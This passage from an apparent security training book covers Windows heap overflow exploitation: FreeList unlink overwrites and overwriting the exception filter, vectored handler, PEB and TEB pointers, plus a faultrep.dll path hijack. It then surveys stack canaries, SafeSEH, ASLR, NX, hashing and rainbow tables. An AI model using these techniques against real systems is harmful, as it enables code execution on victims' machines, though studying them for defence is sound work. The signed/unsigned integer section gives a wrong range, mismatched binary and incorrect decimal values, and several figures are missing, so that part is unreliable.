Each heap starts with a structure. This structure, amongst other data, contains an array of 128

LIST_ENTRY structures. Each LIST_ENTRY structure contains two pointers – see winnt.h. This

array can be found at 0x178 bytes into the heap structure – call it the FreeList array.

When a heap is first created there are two pointers that point to the first free block set in

FreeList[0]. Assuming the heap base address is 0x00350000 then first available block can be

found at 0x00350688.

0x00350178 (FreeList[0].Flink) = 0x00350688 (First Free Block)

0x0035017C (FreeList[0].Blink) = 0x00350688 (First Free Block)

0x00350688 (First Free Block) = 0x00350178 (FreeList[0])

0x0035068C (First Free Block+4) = 0x00350178 (FreeList[0])

When an allocation occurs these pointers are updated accordingly. As more allocations and

frees occur these pointers are continually updated and in this fashion allocated blocks are

tracked in a doubly linked list.

When a heap based buffer is overflowed the control information is overwritten so when the

buffer (allocated block) is freed and it comes to updating the pointers in the FreeList array

there’s going to be an access violation.

Page 272: Hacker techniques, exploit and incident handling

271 | P a g e

Access violation

77F6256F mov dword ptr [ecx],eax

77F62571 mov dword ptr [eax+4],ecx

EAX = 0x42424242

ECX = 0x42424242

If we own both EAX and ECX we have an arbitrary DWORD overwrite. We can overwrite the data

at any 32bit address with a 32bit value of our choosing.

Exploiting Heap Overflows

Repairing the Heap

After the overflow the heap is corrupt so you’ll need to repair the heap.

Many of the Windows API calls use the default process heap and if this is corrupt the

exploit will access violate.

Could repair on a per vulnerability/exploit basis. Time consuming and could run into

problems.

Need a generic way to repair the heap which is effective for all exploits. Write it once

and reuse it.

The best method for repairing the heap is to reset the heap making it “appear” as if it is

a fresh new heap. This will keep other heap data intact but allow fresh allocations.

We reset our overflow heap control structure with heap.TotalFreeSize and set the flags

to 0x14 then set heap.FreeLists[0].Flink and heap.FreeLists[0].Blink to the start of the

fake control structure.

See code listing B – asm-repair-heap.

Unhandled Exception Filter

The Unhandled Exception Filter method is the most common method used. The UEF is

the “last ditch effort” exception handler.

Location varies from OS to OS and SP to SP. Disassemble the

SetUnhandledExceptionFilter function.

77E7E5A1 mov ecx,dword ptr [esp+4]

77E7E5A5 mov eax,[77ED73B4]

77E7E5AA mov dword ptr ds:[77ED73B4h],ecx

Page 273: Hacker techniques, exploit and incident handling

272 | P a g e

77E7E5B0 ret 4

UEF = 0x77ED73B4

When an unhandled exception occurs the following block of code is executed:

77E93114 mov eax,[77ED73B4]

77E93119 cmp eax,esi

77E9311B je 77E93132

77E9311D push edi ***

77E9311E call eax

Essence of the method is to set our own Unhandled Exception Filter.

EDI was pushed onto the stack. 0x78 bytes past EDI is a pointer to the end of the buffer

– just before the heap management control stuff.

Set the UEF to an address that points to a

CALL DWORD PTR [EDI + 0x78]

Many can be found in netapi32.dll, user32.dll, rpcrt4.dll for example.

Notes: Other Operating Systems may not use EDI. Windows 2000 for example has a

pointer at ESI+0x4C and EBP+0x74.

Using this method you need to know the target system – i.e. what OS and what SP level.

Vectored Exception Handling

Vectored Exception Handling is new as of Windows XP.

Unlike traditional frame based exception handling where EXCEPTION_REGISTRATION

structures are stored on the stack information about VEH is stored on the heap.

A pointer to the first Vectored Exception Handler is stored at 0x77FC3210. Points to a

_VECTORED_EXCEPTION_NODE.

struct _VECTORED_EXCEPTION_NODE

{

DWORD m_pNextNode;

DWORD m_pPreviousNode;

PVOID m_pfnVectoredHandler;

}

Vectored handlers are called before any frame based handlers! Technique involves

Page 274: Hacker techniques, exploit and incident handling

273 | P a g e

overwriting the pointer to the first _VECTORED_EXCEPTION_NODE @ 0x77FC3210 with

a pointer to a fake VE node.

77F7F49E mov esi,dword ptr ds:[77FC3210h]

77F7F4A4 jmp 77F7F4B4

77F7F4A6 lea eax,[ebp-8]

77F7F4A9 push eax

77F7F4AA call dword ptr [esi+8]

77F7F4AD cmp eax,0FFh

77F7F4B0 je 77F7F4CC

77F7F4B2 mov esi,dword ptr [esi]

77F7F4B4 cmp esi,edi

77F7F4B6 jne 77F7F4A6

The code behind is calling the vectored exception handler.

Need to find a pointer on the stack to our buffer. Assume it can be found at

0x0012FF50. This becomes our m_pfnVectoredHandler making the address of our

pseudo _VECTORED_EXCEPTION_NODE 0x0012FF48.

Remember on the free we get an arbitrary DWORD overwrite:

77F6256F mov dword ptr [ecx],eax

77F62571 mov dword ptr [eax+4],ecx

We set EAX to 0x77FC320C and ECX to 0x0012FF48.

0x77FC320C is moved into 0x0012FF48 then 0x0012FF48 is moved into 0x77FC3210 –

thus our pointer is set. When an exception occurs 0x0012FF48 (our pseudo VEN) is

moved into ESI and DWORD PTR[ESI+8] is called. ESI+8 is a pointer to our buffer.

Notes: If the location of the stack (and thus the pointer to the buffer) moves this

method can be unreliable.

Each process contains a structure known as the PROCESS ENVIRONMENT BLOCK or PEB.

The PEB can be referenced from the Thread Information/Environment Block TIB/TEB.

FS:[0] points to the TEB.

mov eax, dword ptr fs:[0x30]

mov eax, dword ptr fs:[eax+0x18]

As well as containing other process specific data the PEB contains some pointers to

RtlEnterCriticalSection and RtlLeaveCriticalSection. These pointers are referenced from

RtlAccquirePebLock and RtlReleasePebLock. RtlAccquirePebLock is called from

ExitProcess for example.

Page 275: Hacker techniques, exploit and incident handling

274 | P a g e

The location of the PEB is stable across Windows NT 4 / 2000 / XP and thus the pointer

to RtlEnterCriticalSection can be found at 0x7FFDF020. Whilst the PEB can be found at

the same address in Windows 2003 the function pointers are no longer present so this

method won’t work with 2003.

The method simply involves overwriting the pointer to RtlEnterCriticalSection in the PEB

with the address of an instruction that will return to the buffer.

Each Thread Environment Block contains a pointer to the first frame based exception

handler. The first thread’s TEB has a base address of 0x7FFDE000 and each new thread’s

TEB is assigned an address growing towards 0x00000000. If a thread exits and a new

thread is created then it will get the address of the previous thread’s TEB.

This can lead to a “messy” TEB table and can make this method uncertain.

However, if the address of the vulnerable thread’s TEB is stable then this method can be

used quite effectively.

The method involves overwriting the pointer to the first exception handler in the TEB

with an address that points to an instruction that will get path of execution back to the

buffer.

There are other ways to exploit heap based buffer overflows to execute arbitrary code

to defeat mechanisms such as marking the heap as non-executable.

Assume we have a process with the heap marked as non-executable. This can be

defeated with pointer subversion.

An example of this can be found in the fault reporting functionality of the

UnhandledExceptionFilter() function.

The fault reporting code calls GetSystemDirectoryW() to which “faultrep.dll” is

concatenated. This library is the loaded and the ReportFault() function is called.

GetSystemDirectoryW() references a pointer in the .data section of kernel32.dll that

points to where the wide character string of the Windows system directory can be

found. This pointer can be found at 0x77ED73BC. On overflow we can set this pointer to

our own system directory.

Thus when GetSystemDirectoryW() is called the “system” directory is a directory owned

by the attacker – this can even be a UNC path. The attacker would create their own

faultrep.dll which exports a ReportFault() function and so when the

UnhandledExceptionFilter() function is called arbitrary code can be executed.

Whilst code paths are finite I’d argue that the possibilities of what can be done are

limited more by the imagination.

Page 276: Hacker techniques, exploit and incident handling

275 | P a g e

Off-By-One

Signed vs. Un-Signed

• There are two types of numeric variables:

o One is signed, ranges from -32767 to +32767

o Second one has no sign, ranges from 0 to 65535

• The first determines if the number is negative or not, let’s take an example:

a) 0x11E3 Signed Short Integer

0x11E3 = 0001000111100011 = -7407

Page 277: Hacker techniques, exploit and incident handling

276 | P a g e

b) 0x11E3 כ Unsigned Short Integer

0x11E3 = 1110111100011100 = 58129

Memory Protection Mechanisms

Security Cookie (Canary)

• This mechanism was created to avoid successful code execution when overwriting stack

variables.

• The mechanism creates a random value on process runtime, plants it before the

functions return pointer and verifying it before calling the “ret” command.

• While the application is attacked, and the return address is overwritten, this value is

also overwritten, the memory overwrite is being detected and the application does not

call the return command. (it usually closes itself)

• This way, there is no way to overwrote the return address (EIP) without the software

knowing it and protecting itself

Page 278: Hacker techniques, exploit and incident handling

277 | P a g e

SafeSEH

• This mechanism was invented to prevent attackers from executing code by overwriting

the error handler pointer

• SHE overwrites were used to bypass the Stack’s Security Cookie by overwriting the

exception handler and causing an exception, therefore executing code before the

function returns and before the stack cookie is being verified.

• SafeSEH denies the ability of an attacker to execute code by overwriting the SHE handler

by maintaining a white-list of allowed SHE function pointers, gathered at compilation

time and there no unauthorized dynamically added/written SHE pointer will be

executed.

Page 279: Hacker techniques, exploit and incident handling

278 | P a g e

• The problem with this method is that old unsafe libraries that are loaded into the

process at known addresses can be used as trampolines to execute code.

Address Space Layout Randomization (ASLR)

• ASLR is a mechanism which randomizes the modules addresses in the application’s

memory space, creating an unpredictable process layout and denying attackers from

knowing the memory addresses of useful code and system calls.

• The system calls/APIs addresses are being randomizes with each system reboot

• The application’s modules addresses are being randomizes with process initialization

• ASLR eliminates SafeSEH bypassing with old libraries, stack cookie bypass using return-

to-libc attacks and disabling DEP using return-to-libc.

Page 280: Hacker techniques, exploit and incident handling

279 | P a g e

NX (No eXecute – Hardware DEP)

• NX is a bit in each the PageEntry which tells the CPU/Operating System if the bytes in this memory page is code and is meant and allowed to be executed.

• This bits purpose is denying attackers from executing code while attacking applications

• When the attacker executes the attack, he makes a jump into his own code, when DEP is enables the application closes right after the jump, since it is not allowed to execute code from user/attacker influenced memory locations such as the Stack and the Head.

Windows - Software DEP

Page 281: Hacker techniques, exploit and incident handling

280 | P a g e

NX – In Sun VM Environment

Page 282: Hacker techniques, exploit and incident handling

281 | P a g e

NX – Process Support

Page 283: Hacker techniques, exploit and incident handling

282 | P a g e

Cryptography

Hash

A hash function is any well-defined procedure or mathematical function that converts a large,

possibly variable-sized amount of data into a small datum, usually a single integer that may

serve as an index to an array (cf. associative array). The values returned by a hash function are

called hash values, hash codes, hash sums, checksums or simply hashes.

Hash functions are mostly used to speed up table lookup or data comparison tasks—such as

finding items in a database, detecting duplicated or similar records in a large file, finding similar

stretches in DNA sequences, and so on.

A hash function may map two or more keys to the same hash value. In many applications, it is

desirable to minimize the occurrence of such collisions, which means that the hash function

must map the keys to the hash values as evenly as possible. Depending on the application, other

properties may be required as well. Although the idea was conceived in the 1950s, the design of

good hash functions is still a topic of active research.

Hash functions are related to (and often confused with) checksums, check digits, fingerprints,

randomization functions, error correcting codes, and cryptographic hash functions. Although

these concepts overlap to some extent, each has its own uses and requirements and is designed

and optimized differently. The HashKeeper database maintained by the American National Drug

Intelligence Center, for instance, is more aptly described as a catalog of file fingerprints than of

hash values.

MD5 HASH “Reverse”

Page 284: Hacker techniques, exploit and incident handling

283 | P a g e

Let’s create the MD5 Hash of the text “Password10”:

Let’s submit the hash to a public website and watch the results:

Page 285: Hacker techniques, exploit and incident handling

284 | P a g e

Rainbow Tables

A rainbow table is a pre-computed table for reversing cryptographic hash functions, usually for

cracking password hashes. Tables are usually used in recovering the plaintext password, up to a

certain length consisting of a limited set of characters. It is a form of time-memory tradeoff,

using less CPU at the cost of more storage. Proper key derivation functions employ salt to make

this attack infeasible.

Simplified rainbow table with 3 reduction functions

Rainbow tables are a refinement of an earlier, simpler algorithm by Martin Hellman that used

the inversion of hashes by looking up pre-computed hash chains.